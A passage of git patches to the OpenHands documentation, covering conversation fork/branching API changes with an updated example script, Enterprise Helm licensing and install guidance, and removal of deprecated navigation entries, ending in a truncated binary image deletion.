### Tags and metadata -Forks support `title` and arbitrary `tags` for organization: +Forks support arbitrary `tags` for organization: ```python icon="python" wrap fork = source.fork( - title="Debug investigation", tags={"purpose": "debugging", "triggered_by": "ci-pipeline"}, ) print(fork.state.tags) -# {'title': 'Debug investigation', 'purpose': 'debugging', 'triggered_by': 'ci-pipeline'} +# {'purpose': 'debugging', 'triggered_by': 'ci-pipeline'} ``` +### Titles + +`LocalConversation` does not store titles. Its `fork(title=...)` parameter is +deprecated since `1.54.0`, with removal scheduled for `1.60.0`. Passing a title is +still accepted for compatibility, but emits a `DeprecationWarning` and has no +effect. Use `fork()` without `title` for local conversations. + +`RemoteConversation.fork(title=...)` continues to support titles through the +agent server: + +```python icon="python" wrap +remote_fork = remote_source.fork( + title="Debug investigation", + tags={"purpose": "debugging"}, +) +``` + +The server stores the title in `StoredConversation.title` and returns it in +`ConversationInfo.title`. The title parameter never adds or overwrites a tag; +an explicitly supplied `tags["title"]` remains a user-defined tag. + ### Metrics reset By default, cost/token stats start fresh on the fork. Pass `reset_metrics=False` to preserve them: @@ -96,7 +115,7 @@ def fork( *, conversation_id: ConversationID | None = None, # auto-generated if None agent: AgentBase | None = None, # deep-copy of source agent if None - title: str | None = None, # sets tags["title"] + title: str | None = None, # remote forks only; deprecated locally tags: dict[str, str] | None = None, # arbitrary metadata reset_metrics: bool = True, # cost/tokens start fresh ) -> Conversation: @@ -106,7 +125,7 @@ def fork( |-----------|---------|-------------| | `conversation_id` | auto-generated UUID | ID for the forked conversation | | `agent` | deep-copy of source | Agent for the fork (swap model, tools, etc.) | -| `title` | `None` | Sets `tags["title"]` on the fork | +| `title` | `None` | Sets the agent-server fork title for `RemoteConversation`; deprecated and ignored by `LocalConversation` | | `tags` | `None` | Arbitrary key-value metadata | | `reset_metrics` | `True` | Whether cost/token stats start at zero | @@ -152,6 +171,9 @@ you and returns a new `RemoteConversation` pointing at the server-side copy. Remote forks always reuse the server-managed agent configuration, so `RemoteConversation.fork(agent=...)` is intentionally unsupported. +The request's `title` is stored separately from `tags` and is included in the +response's `title` field. + ## Agent-Server Example <Note> @@ -369,24 +391,24 @@ This example is available on GitHub: [examples/01_standalone_sdk/48_conversation </Note> ```python icon="python" expandable examples/01_standalone_sdk/48_conversation_fork.py -"""Fork a conversation to branch off for follow-up exploration. - -``Conversation.fork()`` deep-copies a conversation — events, agent config, -workspace metadata — into a new conversation with its own ID. The fork -starts in ``idle`` status and retains full event memory of the source, so -calling ``run()`` picks up right where the original left off. - -Use cases: - - CI agents that produced a wrong patch — engineer forks to debug - without losing the original run's audit trail - - A/B-testing prompts — fork at a given turn, change one variable, - compare downstream - - Swapping tools mid-conversation (fork-on-tool-change) +"""Branch a conversation. The conversation is a tree (every event has a +``parent_id``; the HEAD is ``leaf_event_id``), exposing three primitives: + + - ``fork()`` — deep-copy the whole conversation into a new one; ``run()`` + resumes with full event memory. + - ``fork(from_event_id=...)`` — fork only the branch up to a chosen event; + the fork's HEAD is that event. + - ``navigate_to(event_id)`` — move HEAD within one conversation; appending + after navigating creates a sibling branch, abandoned events stay on disk. + +Use cases: debugging a wrong CI patch off the original's audit trail, +A/B-testing prompts, fork-on-tool-change, edit-a-past-turn-and-re-run. """ import os from openhands.sdk import LLM, Agent, Conversation, Tool +from openhands.sdk.event import MessageEvent from openhands.tools.terminal import TerminalTool @@ -394,7 +416,7 @@ from openhands.tools.terminal import TerminalTool # Setup # ----------------------------------------------------------------- llm = LLM( - model=os.getenv("LLM_MODEL", "anthropic/claude-sonnet-4-5-20250929"), + model=os.getenv("LLM_MODEL", "gpt-5.5"), api_key=os.getenv("LLM_API_KEY"), base_url=os.getenv("LLM_BASE_URL", None), ) @@ -418,13 +440,12 @@ print(f"Source events count : {len(source.state.events)}") # ================================================================= # 2. Fork and continue independently # ================================================================= -fork = source.fork(title="Follow-up fork") +fork = source.fork() source_event_count = len(source.state.events) print("\n--- Fork created ---") print(f"Fork ID : {fork.id}") print(f"Fork events (copied) : {len(fork.state.events)}") -print(f"Fork title : {fork.state.tags.get('title')}") assert fork.id != source.id assert len(fork.state.events) == source_event_count @@ -442,7 +463,7 @@ print(f"Fork events (grew) : {len(fork.state.events)}") # 3. Fork with a different agent (tool-change / A/B testing) # ================================================================= alt_llm = LLM( - model=os.getenv("LLM_MODEL", "anthropic/claude-sonnet-4-5-20250929"), + model=os.getenv("LLM_MODEL", "gpt-5.5"), api_key=os.getenv("LLM_API_KEY"), base_url=os.getenv("LLM_BASE_URL", None), usage_id="alt", @@ -451,7 +472,6 @@ alt_agent = Agent(llm=alt_llm, tools=[Tool(name=TerminalTool.name)]) fork_alt = source.fork( agent=alt_agent, - title="Tool-change experiment", tags={"purpose": "a/b-test"}, ) @@ -464,6 +484,51 @@ fork_alt.run() print(f"Fork events : {len(fork_alt.state.events)}") +# ================================================================= +# 4. Branch-slice fork: fork from a chosen past event +# ================================================================= +# Fork from the first user message: copies only path_to_root(event) and sets +# the fork's HEAD there. +cut_event_id = next( + e.id + for e in source.state.events + if isinstance(e, MessageEvent) and e.source == "user" +) + +fork_slice = source.fork(from_event_id=cut_event_id) + +print("\n--- Branch-slice fork (from_event_id) ---") +print(f"Cut event id : {cut_event_id}") +print(f"Source events (full) : {len(source.state.events)}") +print(f"Fork events (sliced) : {len(fork_slice.state.events)}") +print(f"Fork HEAD : {fork_slice.state.leaf_event_id}") + +# The slice contains only the branch up to the cut point. +assert len(fork_slice.state.events) <= len(source.state.events) +assert fork_slice.state.leaf_event_id == cut_event_id + +fork_slice.send_message("Run `echo sliced-branch` in the terminal.") +fork_slice.run() +print(f"Fork events after run : {len(fork_slice.state.events)}") +assert any("sliced-branch" in str(e) for e in fork_slice.state.events) + +# ================================================================= +# 5. In-conversation navigation: move HEAD and create a sibling branch +# ================================================================= +# Move HEAD back to the cut point and send a new message: a sibling branch. +# The abandoned branch stays on disk but leaves the agent's active context. +events_before_nav = len(source.state.events) + +source.navigate_to(cut_event_id) +print("\n--- navigate_to (in-conversation branching) ---") +print(f"HEAD moved to : {source.state.leaf_event_id}") +print(f"Active branch length : {len(source.state.view.events)} events in context") +print(f"Events still on disk : {events_before_nav}") + +source.send_message("Actually, instead run `echo sibling-branch`.") +source.run() +print(f"Events on disk now : {len(source.state.events)} (old branch retained)") + # ================================================================= # Summary # ================================================================= From a903c5fc29d616d1df39cfc8482e5175e9dca2ad Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Fri, 23 Oct 2026 14:29:10 -0500 Subject: [PATCH 89/97] docs(enterprise): clarify licensing and the Helm installation path (#996) * docs(enterprise): clarify licensing and the Helm installation path * docs(enterprise): simplify Helm license wording --- enterprise/k8s-install/aks.mdx | 7 +++ enterprise/k8s-install/eks.mdx | 7 +++ enterprise/k8s-install/gke.mdx | 7 +++ enterprise/k8s-install/index.mdx | 19 ++++++++ enterprise/k8s-install/installation.mdx | 63 +++++++++++++++++++++---- 5 files changed, 94 insertions(+), 9 deletions(-) diff --git a/enterprise/k8s-install/aks.mdx b/enterprise/k8s-install/aks.mdx index 8aa719cd7..733dfcdbc 100644 --- a/enterprise/k8s-install/aks.mdx +++ b/enterprise/k8s-install/aks.mdx @@ -12,6 +12,13 @@ Helm guide to deploy using the runtime values below. Skip [Installing Sysbox](/enterprise/k8s-install/sysbox). Wherever the Helm guide installs or checks Sysbox, use the runc values and checks on this page instead. +<Note> + Before you begin, [get an OpenHands Enterprise license enabled for Helm](/enterprise/k8s-install/installation#get-an-enterprise-license) + and review the [installation prerequisites](/enterprise/k8s-install/installation#prerequisites). + After preparing this cluster, return to [Install with Helm](/enterprise/k8s-install/installation#step-1-log-in-to-the-registry) + to deploy OpenHands using the provider-specific values on this page. +</Note> + <Note> The values below apply to Enterprise Helm chart `0.74.0` and Runtime API `0.10.0`. Check the values for your licensed release before installing or upgrading. diff --git a/enterprise/k8s-install/eks.mdx b/enterprise/k8s-install/eks.mdx index 8b70c9490..4062f1963 100644 --- a/enterprise/k8s-install/eks.mdx +++ b/enterprise/k8s-install/eks.mdx @@ -9,6 +9,13 @@ Running OpenHands Enterprise on Amazon EKS follows the standard pools, storage, ingress, and the sandbox runtime. This guide covers preparing the cluster. Once it's ready, follow the Helm install to deploy. +<Note> + Before you begin, [get an OpenHands Enterprise license enabled for Helm](/enterprise/k8s-install/installation#get-an-enterprise-license) + and review the [installation prerequisites](/enterprise/k8s-install/installation#prerequisites). + After preparing this cluster, return to [Install with Helm](/enterprise/k8s-install/installation#step-1-log-in-to-the-registry) + to deploy OpenHands using the provider-specific values on this page. +</Note> + ## Cluster Requirements | Requirement | Recommendation | diff --git a/enterprise/k8s-install/gke.mdx b/enterprise/k8s-install/gke.mdx index d24a114dd..6b6fe808d 100644 --- a/enterprise/k8s-install/gke.mdx +++ b/enterprise/k8s-install/gke.mdx @@ -9,6 +9,13 @@ Running OpenHands Enterprise on Google Kubernetes Engine (GKE) follows the stand choices for node pools, storage, ingress and the sandbox runtime. This guide covers preparing the cluster. Once it is ready, follow the Helm guide to deploy. +<Note> + Before you begin, [get an OpenHands Enterprise license enabled for Helm](/enterprise/k8s-install/installation#get-an-enterprise-license) + and review the [installation prerequisites](/enterprise/k8s-install/installation#prerequisites). + After preparing this cluster, return to [Install with Helm](/enterprise/k8s-install/installation#step-1-log-in-to-the-registry) + to deploy OpenHands using the provider-specific values on this page. +</Note> + ## Cluster Requirements | Requirement | Recommendation | diff --git a/enterprise/k8s-install/index.mdx b/enterprise/k8s-install/index.mdx index f62d928d6..72af37a99 100644 --- a/enterprise/k8s-install/index.mdx +++ b/enterprise/k8s-install/index.mdx @@ -13,6 +13,21 @@ Kubernetes expertise who want to integrate OpenHands into their existing infrast guide for VM-based deployment. </Note> +## Start Here + +1. [Get an Enterprise license](/enterprise/k8s-install/installation#get-an-enterprise-license). + Request a license enabled for Helm installations and obtain its registry + credentials from the install portal or our team. Existing trial users must + also confirm Helm access with our team. +2. Review the [installation prerequisites](/enterprise/k8s-install/installation#prerequisites), + then prepare your cluster using the [Amazon EKS](/enterprise/k8s-install/eks), + [Azure AKS](/enterprise/k8s-install/aks), or + [Google GKE](/enterprise/k8s-install/gke) guide. These pages cover the + provider-specific infrastructure and Helm values. +3. Return to [Install with Helm](/enterprise/k8s-install/installation#step-1-log-in-to-the-registry) + to log in to the registry, configure and install OpenHands, and validate your first + conversation. Apply the provider-specific values from your cluster guide. + ## When to Use This Approach Choose the Kubernetes installation path when you: @@ -70,6 +85,10 @@ OpenHands Enterprise consists of several components deployed as Kubernetes workl Prepare an Amazon EKS cluster to run OpenHands Enterprise. </Card> +<Card title="Azure AKS" icon="/enterprise/images/azure-logo.svg" href="/enterprise/k8s-install/aks"> + Prepare an Azure Kubernetes Service cluster to run OpenHands Enterprise. +</Card> + <Card title="Google GKE" icon="google" href="/enterprise/k8s-install/gke"> Prepare a Google Kubernetes Engine cluster to run OpenHands Enterprise. </Card> diff --git a/enterprise/k8s-install/installation.mdx b/enterprise/k8s-install/installation.mdx index 8dacde85c..81e029a30 100644 --- a/enterprise/k8s-install/installation.mdx +++ b/enterprise/k8s-install/installation.mdx @@ -8,16 +8,47 @@ OpenHands Enterprise is distributed as a Helm chart through the Replicated regis Your license credentials authenticate the chart download, and the chart embeds your license automatically at install time. +## Get an Enterprise License + +1. [Contact our team](https://openhands.dev/contact) to request an OpenHands + Enterprise license enabled for **installation with Helm**. + If you already have a license or have + [registered for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup), + confirm with our team that Helm installation is enabled before continuing. +2. Obtain your **license email address** and **license ID** from the Helm + instructions in your install portal or from our team. If the portal offers + only VM installation instructions, contact us to enable Helm access. +3. Use the license email address as the registry username and the license ID as + its password in [Step 1](#step-1-log-in-to-the-registry). Keep these credentials + outside version control and avoid sharing commands that contain the license ID. + +A license YAML download is not required for Helm. If you already have a license +YAML from a VM installation, `spec.customerEmail` is the registry username and +`spec.licenseID` is the password. Keep that file outside version control too. + <Note> - Helm-based installation requires an OpenHands Enterprise license. If you don't have - one yet, [register for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup) - or [contact our team](https://openhands.dev/contact) to get set up. - The license YAML from the install portal is all the licensing material you need: - use `spec.customerEmail` as the registry username and `spec.licenseID` as its - password. The embedded-cluster installer assets on that portal are for VM - installations, not Helm. + Embedded-cluster installer assets and commands in the install portal are for + VM installations. Continue with this Helm guide to deploy into your Kubernetes + cluster; you do not need to run the embedded-cluster installer. </Note> +## Prepare Your Cluster + +Review the [prerequisites](#prerequisites), then complete the guide for your +Kubernetes provider before running the Helm commands: + +- [Amazon EKS](/enterprise/k8s-install/eks) +- [Azure AKS](/enterprise/k8s-install/aks) +- [Google GKE](/enterprise/k8s-install/gke) + +These guides cover cluster preparation and provider-specific Helm values. Return +here once your cluster is ready, and merge the applicable provider values into +your installation configuration. On AKS, keep the runc override file last in the +Helm values arguments, as described in the AKS guide. + +For another Kubernetes provider, prepare a cluster that meets the prerequisites +below, including storage, ingress and a [supported sandbox runtime](/enterprise/k8s-install/sysbox). + ## Prerequisites - A Kubernetes cluster with a default storage class and an ingress controller @@ -25,7 +56,7 @@ license automatically at install time. - **Helm v4 or later** - `kubectl` access to the target cluster - Your **license ID** and the **email address** registered with your license - (both provided by our team) + (from the install portal or our team, as described above) - **LLM credentials** from your chosen provider, for example an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/). For Azure models, see [Azure LLM Gateway](/enterprise/integrations/azure-llm-gateway). @@ -286,8 +317,20 @@ installing. ## Step 4: Install +Replace `<chart-version>` with the licensed chart version supported by your +provider guide, shown in your portal's Helm instructions, or provided by our team. +Check its values before installing. Version-specific notes on this page apply only +to the versions they name. + +<Note> + **On AKS**, append `--values values-aks-runc.yaml` after `--values values.yaml` + in the command below. Keep the runc file last, after any feature overlays, on + every install and upgrade. See [Azure AKS](/enterprise/k8s-install/aks#configure-runc-sandboxes). +</Note> + ```bash helm install openhands oci://registry.replicated.com/openhands/openhands \ + --version <chart-version> \ --namespace openhands \ --values values.yaml ``` @@ -347,7 +390,9 @@ in. A complete first-use check goes beyond Ready pods and preflight: The install above is a minimal working baseline. Features and tuning are values overrides on the same release — edit your `values.yaml` and apply with -`helm upgrade` using the chart URL from Step 4: +`helm upgrade` using the chart URL from Step 4 and `--version <chart-version>` +for your chosen upgrade version. Preserve all provider-specific values; on AKS, pass `--values values-aks-runc.yaml` last, after the base values +and any feature overlays. <CardGroup cols={2}> <Card title="Azure LLM Gateway" icon="microsoft" href="/enterprise/integrations/azure-llm-gateway"> From f742b438db2d5a2d316ebea67a18c46b4ab56a48 Mon Sep 17 00:00:00 2001 From: jpelletier1 <44589723+jpelletier1@users.noreply.github.com> Date: Fri, 23 Oct 2026 16:48:56 -0400 Subject: [PATCH 90/97] Remove Deprecated Projects group from Home tab navigation (#989) * Remove Deprecated Projects group from Home tab navigation Co-authored-by: openhands <openhands@all-hands.dev> * Remove links to deprecated CLI, Local GUI, and V0 pages Unlink or reword references to the pages in the removed Deprecated Projects nav group, drop CLI-only sections, and point to Agent Canvas instead. Co-authored-by: openhands <openhands@all-hands.dev> * Update MCP docs and remove user skills section - Add Agent Canvas to the MCP support matrix and drop Platform-Specific Differences - Remove config.toml references from MCP settings - Remove the self-hosted user skills section from org skills Co-authored-by: openhands <openhands@all-hands.dev> * Replace CLI and Local GUI guidance in Skills and Plugins with Agent Canvas Co-authored-by: openhands <openhands@all-hands.dev> * Remove CLI and Local GUI references from hooks docs Co-authored-by: openhands <openhands@all-hands.dev> * Move Git provider token setup to secrets settings and update Cloud integrations list Co-authored-by: openhands <openhands@all-hands.dev> --------- Co-authored-by: openhands <openhands@all-hands.dev> --- docs.json | 111 -------------- .../static/img/openhands-provider-cli.png | Bin 29571 -> 0 bytes openhands/usage/customization/hooks.mdx | 13 +- openhands/usage/llms/custom-llm-configs.mdx | 2 - openhands/usage/llms/google-llms.mdx | 3 +- openhands/usage/llms/llms.mdx | 3 - openhands/usage/llms/local-llms.mdx | 8 +- openhands/usage/llms/openhands-llms.mdx | 15 +- openhands/usage/run-openhands/gui-mode.mdx | 6 +- .../usage/settings/api-keys-settings.mdx | 3 +- .../usage/settings/integrations-settings.mdx | 138 ++---------------- openhands/usage/settings/mcp-settings.mdx | 32 ---- openhands/usage/settings/secrets-settings.mdx | 110 ++++++++++++++ .../usage/troubleshooting/troubleshooting.mdx | 2 - overview/faqs.mdx | 12 +- overview/introduction.mdx | 10 +- overview/model-context-protocol.mdx | 33 +---- overview/plugins.mdx | 52 ++----- overview/skills/adding.mdx | 43 +++--- overview/skills/org.mdx | 50 ------- sdk/index.mdx | 2 +- 21 files changed, 173 insertions(+), 475 deletions(-) delete mode 100644 openhands/static/img/openhands-provider-cli.png diff --git a/docs.json b/docs.json index b76d7712d..0736642ea 100644 --- a/docs.json +++ b/docs.json @@ -133,117 +133,6 @@ } ] }, - { - "group": "Deprecated Projects", - "pages": [ - { - "group": "Local GUI", - "pages": [ - "openhands/usage/run-openhands/local-setup", - "openhands/usage/run-openhands/gui-mode", - "openhands/usage/troubleshooting/troubleshooting", - { - "group": "Sandbox Configuration", - "pages": [ - "openhands/usage/sandboxes/overview", - { - "group": "Sandbox Providers", - "pages": [ - "openhands/usage/sandboxes/docker", - "openhands/usage/sandboxes/remote", - "openhands/usage/sandboxes/process" - ] - } - ] - }, - { - "group": "Advanced", - "pages": [ - "openhands/usage/advanced/configuration-options", - "openhands/usage/advanced/custom-sandbox-guide", - "openhands/usage/advanced/search-engine-setup" - ] - } - ] - }, - { - "group": "CLI", - "pages": [ - { - "group": "Getting Started", - "pages": [ - "openhands/usage/cli/installation", - "openhands/usage/cli/quick-start" - ] - }, - { - "group": "Ways to Run", - "pages": [ - "openhands/usage/cli/terminal", - "openhands/usage/cli/headless", - "openhands/usage/cli/web-interface", - "openhands/usage/cli/gui-server", - { - "group": "IDE Integration (ACP)", - "pages": [ - "openhands/usage/cli/ide/overview", - "openhands/usage/cli/ide/zed", - "openhands/usage/cli/ide/toad", - "openhands/usage/cli/ide/vscode", - "openhands/usage/cli/ide/jetbrains" - ] - } - ] - }, - { - "group": "Cloud", - "pages": [ - "openhands/usage/cli/cloud" - ] - }, - { - "group": "Extensions", - "pages": [ - "openhands/usage/cli/mcp-servers", - "openhands/usage/cli/critic" - ] - }, - { - "group": "Reference", - "pages": [ - "openhands/usage/cli/command-reference", - "openhands/usage/cli/resume" - ] - } - ] - }, - { - "group": "V0 Reference", - "pages": [ - "openhands/usage/v0/runtimes/V0_overview", - { - "group": "V0 Runtime Providers", - "pages": [ - "openhands/usage/v0/runtimes/V0_docker", - "openhands/usage/v0/runtimes/V0_remote", - "openhands/usage/v0/runtimes/V0_local", - { - "group": "V0 Third-Party Providers", - "pages": [ - "openhands/usage/v0/runtimes/V0_modal", - "openhands/usage/v0/runtimes/V0_daytona", - "openhands/usage/v0/runtimes/V0_runloop", - "openhands/usage/v0/runtimes/V0_e2b" - ] - } - ] - }, - "openhands/usage/v0/advanced/V0_configuration-options", - "openhands/usage/v0/advanced/V0_custom-sandbox-guide" - ] - } - ] - }, { "group": "OpenHands Community", "pages": [ diff --git a/openhands/static/img/openhands-provider-cli.png b/openhands/static/img/openhands-provider-cli.png deleted file mode 100644 index 30437589e9257af0c9d26b66dc4844991d3e0d4d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 29571 zcmd?RWmr^S`!+1yFo1;Q(9$5?AT24~AtF6=cZZaKlF|awNVl}oAt5Os9Ws=l#JlEq z-_QNO-}n9gJRcs9V`OIbUVH7m^1ROTye3vtT@eqP0{g*(2YAX#a#{}_AW4E(Iwm^! zhK*gE6nrqTla<v}mX(ESx;ekHbF_Z&;PD&JWDON$OUNMY7|*k(y;d09)M1?c`$Qf* z48)hUhSRi|M&?c=%STQtaZ0<(Oog&541drIhG3?ms4_AaXkqv=KR*0)GHcd)jUIIk zKN;oW3u#u_>DWcFFiL#?Of`xu{axRk%@v^>_aDf#VeAmU8WT>Jga5bVA8#(al*ZXQ zs19?fRu0wDXq&lSY5czbvs5US&CXj+n?^Y3gmLn?f3c~LDLqzJkW)V3@pqSNRky({ z`#!$BIAU{R3`4UCA}K=lOwtuw%lekDU0%sc7;bug>f;56(Q&A~846iSOj$kOr0%Ao zq!K+{4nHd(p`W^xu_$0G5{hgva`52F(k0SA6=A-=`5Ua}6n;#hfoxX)vC3ZhLN|B* z8~Uz(DEkk$$b+W4GhK}_eIv@)wq<Q3(WFQp;|Dk4(zj+YzvCbm?)jUcehzsy&#eA- z3oU;G&8=r`p!`Zr?ExEjkNE&8+U@}=c!vaD6yWvX0ZK~L0}Sw&2)yL-k^k3GB*}b~ z|GZB}oG7C$tE>$EYFoKkTf^LKojr!g$OFNp=InF~JPg!SMXj8jxGY~fzp&==adJTv zc_8j13f?+ddssq!oE%~9qCOJz|C}KT-Xp%|ricD>iid*)y@8r0RMy$e8Y;-e!^J}{ zi4BE9#ob=M64jDZ_;+#eNrK+i!^1_Co7>ylo6DPz%h}C_n^#0cgq!CH_md}_;0#W8 zUzmrb4=2o>;a?Z|U)PbdcDHh~bMdfqhCvb6wS3|1=^;T+kErNB|NeEK);@OsQxnYn z-;V_zkQ;G?o0p4+`#;wPMa2={ifY>VSUVcZ**Ssc0d+|7^9YImbN>JD$p6&%UnLFx zrz9V*@PC*5uOt88lDh8JZnDl!ph^$P|LK{37yj>q|1K!bjd=3^YKea}^FQB$c9z5z z=l)NhNn$IN1@%05ApJmDPDaNE>ChA-<Ke(ur^>hpg9wA+n-iXpXAoa{ddwJPHfR`j zSg7I?oG4lp`WRF=9D))TgT(+Xq*sD4+A!`=?RS^Hs@TgsI?nw5J|U2MZF=_YfzIze z<30797j%R&(hvx0K!h|iZKG}$8zv@lScrmjj0O!VIB-IZ{4}8Jz|F1}3dO{Pf8_)J zBX`M4$4q#ea^aDpq9V~r`l6#E$$a((hp($gKJ<izK%xCC6X1W$D|~Qx&9jx?0Mrn1 z_45$~6j-B!_V2WFrK973iXeI7D4@U(F>p9werwtSaWfmKHvimGG&uaL&4hvj)cG{v z6c=%4zrf)$({z<^G$a}5iw&{hJMpnBff3?5sr#GMI5KYa3jLbPcpGGfuQUB>IP<nk z>7@HqcGQx8b{VpGt)lM4+_&Q$K80ftOz-3cA5-LJA+0a|m<v{U$5C)`Fkkv=R=d)% z^v=C+KxhAaZ{~bPLu%^g`fP8x)qPOx@Z#`$z2#=H9_s5W>8B!YKl8Oq)zN0HrwZl2 z)mq9Pt%17pYbUd@N!T<?)!&yH)V(N>N&Nko-6S^=D|J@{wk&Ma;!<G6Wo9|mG*K7A zzu#&<%hrqI@_WU5<_&|Qi9@SpA3BA&PpyNGJ$i&gxbeMO22W_$-JgRD{gng5IA2S` zSG(VWVJ%RV0LZg<9LhCaf7sOWB;R*P#+6{R>sJ>aRJSL(ZI3GJoB1+1eg8Co`XRGI zKEUwP%Yxyz>@$N2lvq-IuIIbYO_ljOUX5iD>I$281)TpmsL=)wLA}W`G~w^FwMW`y z(Sy9AUi!>0GSVSWJLt_->nvYNLtPx7+fOA52|s@8iChUi!xA6K^~L10I~7%0UkMdf z{6xi2vlffA`9=r*FhL2YMgHMbmLx^>P^h>fw1ZmAOS2~oZ7-6{3^SYg1A{?-bQpK{ zjoa8s_suB|39D9wdak(g)zi;wUt$Ou%3RiazZEMJ_d<G<ZvR|-47fhkDc4~Q6Lm@_ zVb`-&gX9Z<*6h(-;MDM^DLCF5NuQb3H?L|ODN)Ow-X6=YdQ5KbeY~7`x;<7Q=5#Pu zC5n6TSihQTER!!99iOUfWu?s%hcXHic7&p!TcP)1y)XJeUE%Lxi^Y{esXF!TYyf<K z?4#$wT$}jK&MZ2+Rt(C~pS!=m_G-HC3ZK1Yn~KCCJD<P$Zj(35OU7-c+Pv(Bvo-wo zwNaC!@=~+&{9Tz%<`e76<&Y_Xc@wJ@e-X*MD=YiSe5AKrrdeHokHu=r^vF+Zo)@88 zG9t;`>wMIT96ezX*|#G({^4@aJz4g-&a~ZYE_wXO5L?Zr`?udXWTNWmQvB(Pa|ax~ z(QYOR`{CpKJkxWDFHBUqUxq5~mtA_q;=R!r(bWiGH`JmYO5NRNf&M%1z4w13WzpwS ziu>ECQN<FNmp_ff-op<Yw2ArEA4_aBYuXHZPji<@EjDLA@yU9m;hF!<m1~<1yl{&E zqpKepE#ZH;J5KrJWemyj+ftIRJ)sy4veEbr&TEown~7qWvTh80QFt>UMdG;aQ@#+$ zB<O(iaEVu=<VOmnQ8=<K#(yXEEFv%<i*7{<3H*d~cu}W;f6fa^bN%ApahaCyC|w?} zyoPd`Iq|qYt+{H+=jy)uQ^70%fi8b0o9+${wx2C0Ia+K~As!1sLTQlN$C6?w<37P+ zfmU|~{+-U33ExeUx`PHhWFQphn@qud{?z@mBAs!Qqo{A?!J}$**sYC5^v=&d0;z9V zYIBu_p2<t~FEz;aFF}jWR~;2xFZ@cP7AuKPbl(|gO8z0V7Etu{(F939=Y-4cP87~+ za0fdWe>1*)2~xH$>widTe}m;<=G#Z@z4zX$1sJpeldEYB>)X*YM0z%}oxfKrU|rX* z1{Pyq^lIJ6Yl<uAi=XSdy1MS4toMmZ1~)$JcGNT4wBS_XeUxcDz}>ykDm%d4ak)vR z30Emyd9!V2{mMNbri$E_SoWGQZK%&{fS_^%!_akT&xe^xe=h5xcg)I&n|~yomhIoG z(EbT`qn4YSvx#z}Mtjk2?yjq+vlaRi!+%pXB&U2R2$}^mTuRx4J9WWyokbxK&-Xju zEnwEjt-O-guAF5H;vsR^jHC5>pB8HX=TT^XKB1cV#L)0btjMML@p3B(aUlu8(Ygrq zAlF=2x6{w_V0EOYzuE_1UvVAWxi9}wqP#@sFrHJm1kCoH4%eqJZ!+nIu)a|7l*8~1 zHI@2AivAMyr`nEO|6>s}arj-`cJ=LbUk&fYFyHi@doNlfF14u6?T*xa-M%FiEYP9X zP+L#DS6h6|repe>K<Hqz*O5{0WUc@2W7M%<dBJxDV0_xY+a^=w6M^x#e&w9HGrOn5 zkFwgv8UAV4`i6_wmwu(}dC~4s^BS{l{LxZ#X}WpPqt!O`$Hc@<<ck6hbMa<=drZ{t zOzyugg`m-g<18ldFl6%C2&xBqI>>4kCsW#{kq24Q(`J$L^NbD^Ce{9lYBkbkZeVY} zOz_JrVBtSgLWQfX(RHm*b4f&r=LP*?tum}va7dpw5AIY?p}N4;Pj^|*Sn9__p5amm z(XY(=;Nm1?EoKTomL8q$hY$0y-rAgcx3yhV#lGG-j%CTs2R-+whTpUET+gkswgqXn z)$3@{&v^KFrCq=`0-0J3M>?5&1N4i$l$?P~-%C5KttmxXCe`5=tMQGr5;wBBj|tp^ ze8}58_MU>3@f&w;r?_KlXq+=9+cb}VhtjgGklwR8ypZm1S!G9i%ZnCC#QTF(Y%%zZ zegh=>lc0f=E30;GD`WQr$8sf%gB_XGbIPQ!G5c@WzPPS-_)<^?@Y55HPW_OL(bd3R zVNuI^sQiQ)V{5j`SfAiGZ@N9Eh{*mU*AFK28?s53k0dYoY{tLU(fhtL`82btK9Q-v z)OmV}eTI1O9o-V+wJiP&tHD~~G3@RenJ~+lEBIz3ZB*y0vM@_lFf~kaGxWs`omTkj z*>i8c^;zbk&ckpW=sG;*2$*;ddy~Vy>i&%$(N=W3PKwomBgbzjn?+haB#tLZ-TC{l z+ofDCmMD(Jl7t)Gz|!U9XZ?$5O>u&Pj0gs7cL(!bND9_0#Xh~&>U91U-K4DM-7|DN z&(1}N&d20zu>P^-y3cgYoB3C5=<>0n|Ekj#uleXhWCAx)nbh1I6I#;|_bxhcyTAR7 zF+0<cM5{xx80<qciH;k6Wkm$nBzwEzOCu5S5^uJgfhxAjMw6LN2&`$AH-s9KlH!}< z&L!@fNoj*IJF*vnEjFyh*fPy9MC*h<sa+Ajzd6J1GsX4H^ziuN)V%UajTUUev%zL9 z`4C)BUZ<aou)x<XH<q(A938g<tajypWn`5Ik+5ilU7#h_bQ*j+<XODEm%r9%_o+Rc zw<*HKH=R3rb2h}T;lmkz+nF}!H;)PYNx0q0Ry+MM<S*=HHTxgKc!r{r;!=OesE+o1 z(Z-H_HZ+4<?t8Yat~=%armniwN=ErS{-@z7TkoFX={`eEM@MhRsjB0>@7tZ(W~HHu zR<p0#0vz}sN)0{vQFP)P`8qq%j6-<7`Ty$tO}|Q(xtblk7WjLwO2~j!pbvh&%KS0- zLFoBv^V0y<6Gp2b0{=`NsT~%XY~Fc>6gWibS0H<TIy_g|?hU|=5i(F)T_IHyECj%m zfyx3vnNHXCoPrJj!71>849|#2A3(|{r~nr}Dx~~C2rwiB4}6%)XL3a#!~b1Hl9|d# zMh-AmN=CB%My9PBKTLx=Np{05CP?7s3e@4-YEyeggo+wk3{Ad##Iz=G6W-EIwB?YM z=Jm|zAKcA>8W!F5&O0sfa4W_>fG979^LyTRnTAcnLMxTR(Jyp=t^;pImK|ca<SyM~ z@I_+M5jY%K1{2jGAag<0XRk*t^9(~C+n<>1-oMV6hG9`OEx7amd54eD@l!q~a}rde zOXO>DbG6u1EJ*=f=--wFmuC0v4R&ymM}(mk8+|55>&CJ6LC<u4dcmAsTnrwlS2K#9 zGflnub)8=N+AJ>7(tdVN&eIU3@)ZC1<&*T@Q$f1&OUdY41)W=zJIiH?(ApM9x%6OJ z9fzPF+=|yKc0Yz^lFO!zL&Y6NnTJ=P!Y0R{6Qv<8GSH0gJUKTNoKvA9NMkjN!I_%- zZH%5LT&vk-H{^vI60w)OnU7fK!UY7G2NDP%)~u>J=Ul{3bqcu&5}Jvtj+8w7h@baR zqFC;8Ohx&}3QABZ5vOlzQMBYgFF(t%>Ha*~Hd_0`rIi>lYCfZdMr`(<MaOz|KJ`fc 